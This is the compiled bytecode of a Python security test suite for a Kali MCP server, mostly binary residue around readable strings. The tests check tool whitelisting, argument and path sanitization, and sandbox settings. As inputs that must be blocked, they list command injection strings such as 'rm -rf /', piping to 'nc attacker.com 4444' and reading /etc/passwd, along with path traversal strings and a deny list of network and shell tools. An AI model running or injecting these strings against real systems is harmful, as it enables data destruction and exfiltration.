�
��h�* � �� � d Z ddlZddlZddlmZ ddlmZ ddlZddlZ G d� d� � Z G d� d� � Z
G d � d
� � Z G d� d� � Z G d
� d� � Z
edk r ej edg� � dS dS )z/Security-focused tests for the Kali MCP server.� N)�Path)�mockc �0 � e Zd ZdZd� Zd� Zd� Zd� Zd� ZdS )�TestSecurityValidationz#Test security validation functions.c �j � g d�}|D ]+}t j |� � s|t j j vsJ ��,dS )z,Test that tool names are properly validated.)�nmap�sqlmap�hydra�john� test-tool�tool_123N)�server�validate_tool_access�config�
allowed_tools)�self�valid_names�names �./tests/test_security.py�test_tool_name_validationz0TestSecurityValidation.test_tool_name_validation sT � � S�R�R��� `� `�D��.�t�4�4�_��F�M�D_�8_�8_�8_�8_�� `� `� c �D � g d�}|D ]}t j |� � rJ ��dS )z3Test that tool name injection attempts are blocked.)znmap; rm -rf /znmap && cat /etc/passwdznmap | nc attacker.com 4444znmap`whoami`z nmap$(id)znmap || echo pwnedznmap > /tmp/pwnedznmap < /etc/passwdz
nmap(nmap)z
nmap{nmap}z
nmap[nmap]z nmap nmapz nmap nmapz nmap
nmapz nmap
nmapN)r r )r �malicious_namesr s r �!test_tool_name_injection_attemptsz8TestSecurityValidation.test_tool_name_injection_attempts sH � �
�
�
��$ $� 9� 9�D��2�4�8�8�8�8�8�8� 9� 9r c �� � ddl m} g d�}|D ]} |d|�� � }|j |k sJ ��g d�}|D ]B}t j t
d�� � 5 |d|�� � d d d � � n# 1 swxY w Y �Cd S )
z3Test that command arguments are properly validated.r ��ToolExecutionRequest)�-Vz --versionz-sS -Oz192.168.1.1z
target.comr )�tool�args)ztest; rm -rf /ztest && cat /etc/passwdztest | nc attacker.com 4444ztest`whoami`z test$(id)ztest || echo pwnedztest > /tmp/pwnedztest < /etc/passwdz
test(test)z
test{test}z
test[test]z potentially dangerous characters��matchN)r r r �pytest�raises�
ValueError)r r �
valid_argsr �request�invalid_argss r �test_args_validationz+TestSecurityValidation.test_args_validation/ s
� �/�/�/�/�/�/� P�O�O�
�� (� (�D�*�*��T�B�B�B�G��<�4�'�'�'�'�'�
�
�
�� !� =� =�D���z�1S�T�T�T�
=�
=�$�$�&�t�<�<�<�<�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=����
=�
=�
=�
=�� =� =s �
A'�'A+ �.A+ c � � g d�}|D ]"}t j |� � }d|vsJ �d|vsJ ��#g d�}|D ](}t j |� � }d|vsJ �d|vsJ �d|vsJ ��)dS )z%Test path sanitization functionality.)� /tmp/testz/opt/kalimcpz
/home/userz
relative/path�..z//)z../../../etc/passwdz
//etc//passwdz/tmp/../../../etc/passwdz
/tmp//testz....//....//....//etc//passwdz
etc/passwdN)r �
sanitize_path)r �normal_paths�path� sanitized�malicious_pathss r �test_path_sanitizationz-TestSecurityValidation.test_path_sanitizationL s� � �
�
�
�� !� )� )�D��,�T�2�2�I��y�(�(�(�(��y�(�(�(�(�(�
�
�
�� $� 1� 1�D��,�T�2�2�I��y�(�(�(�(��y�(�(�(�(��y�0�0�0�0�0� 1� 1r c �� � t j d� � }g d�}|D ]}||v r|| dk s
|| �J ��|d dk sJ �g d�}|D ]}|t j v r||v sJ ��dS )z"Test sandbox environment creation.r+ )�
LD_PRELOAD�LD_LIBRARY_PATH�
PYTHONPATH�PERL5LIB�RUBYLIB� NODE_PATH� N�PWD)�PATH�HOME�USER�SHELL�LANG�LC_ALL)r �create_sandbox_environment�os�environ)r �env�dangerous_vars�var�essential_varss r �test_sandbox_environmentz/TestSecurityValidation.test_sandbox_environmentj s� � ��/��<�<��
�
�
�� "� :� :�C��c�z�z��3�x�2�~�~��S��)9�)9�)9�� �5�z�[�(�(�(�(� M�L�L��!� "� "�C��b�j� � ��c�z�z�z�z�� "� "r N) �__name__�
__module__�__qualname__�__doc__r r r) r2 rI � r r r r
sh � � � � � �-�-�`� `� `�9� 9� 9�0=� =� =�:1� 1� 1�<"� "� "� "� "r r c �$ � e Zd ZdZd� Zd� Zd� ZdS )�TestToolExecutionSecurityz(Test security aspects of tool execution.c �j � g d�}|D ]+}|t j j vrt j |� � rJ ��,dS )z1Test that only whitelisted tools can be executed.)6�rm�rmdir�del�format�fdisk�mkfs�dd�shred�wipe�srm�sdelete�wget�curl�nc�netcat�socat�bash�sh�csh�zsh�fish�python�perl�ruby�node�php�sudo�su�chmod�chown�chgrp�mount�umountrV �parted�iptables�ufwzfirewall-cmd� systemctl�service�initctl�crontab�at�batch�passwd�useradd�userdel�usermod�groupadd�groupdel�groupmod�visudo�vipw�vigrN)r r r r )r �dangerous_toolsr s r �test_tool_whitelist_enforcementz9TestToolExecutionSecurity.test_tool_whitelist_enforcement� sV � �
�
�
�� $� =� =�D��6�=�6�6�6�!�6�t�<�<�<�<�<�� =� =r c � � t j t d�� � 5 t j ddd�� � ddd� � dS # 1 swxY w Y dS )z)Test that timeouts are properly enforced.zexceeds maximum allowedr! r r i?B )�timeoutN)r# r$ r% r �run_tool�r s r �test_timeout_enforcementz2TestToolExecutionSecurity.test_timeout_enforcement� s� � � �]�:�-F�
G�
G�
G� :� :��O�F�D�&�9�9�9�9� :� :� :� :� :� :� :� :� :� :� :� :���� :� :� :� :� :� :s �A�A�Ac �b � t j j dk sJ �t j j dk sJ �dS )z!Test that output size is limited.r � @N�r r �max_output_sizer� s r �test_output_size_limitingz3TestToolExecutionSecurity.test_output_size_limiting� �7 � � �}�,�q�0�0�0�0��}�,�/@�@�@�@�@�@�@r N)rJ rK rL rM r� r� r� rN r r rP rP � sL � � � � � �2�2�=� =� =�.:� :� :�A� A� A� A� Ar rP c � � e Zd ZdZd� Zd� ZdS )�TestInputValidationz'Test input validation and sanitization.c �� � ddl m} g d�}|D ]} ||�� � }|j |k sJ ��g d�}|D ]A}t j t
d�� � 5 ||�� � ddd� � n# 1 swxY w Y �BdS ) z6Test that tool names match the expected regex pattern.r r )r r r
r r
�a)r )ztool with spacesztool;with;semicolonsztool|with|pipesztool&with&sztool`with`backticksztool$with$dollarsztool(with)parensztool<with>anglesztool[with]bracketsztool{with}bracesztool with tabsztool with
newlinesztool with
carriageztool/with/slashesztool\with\backslashesztool:with:colonsztool=with=equalsztool+with+plusesztool*with*asterisksztool?with?questionsztool!with!exclamationsz
tool@with@atsztool#with#hashesztool%with%percentsztool^with^caretsztool~with~tildesztool"with"quotesztool'with'apostropheszcontains invalid charactersr! N)r r r r# r$ r% )r r r r r'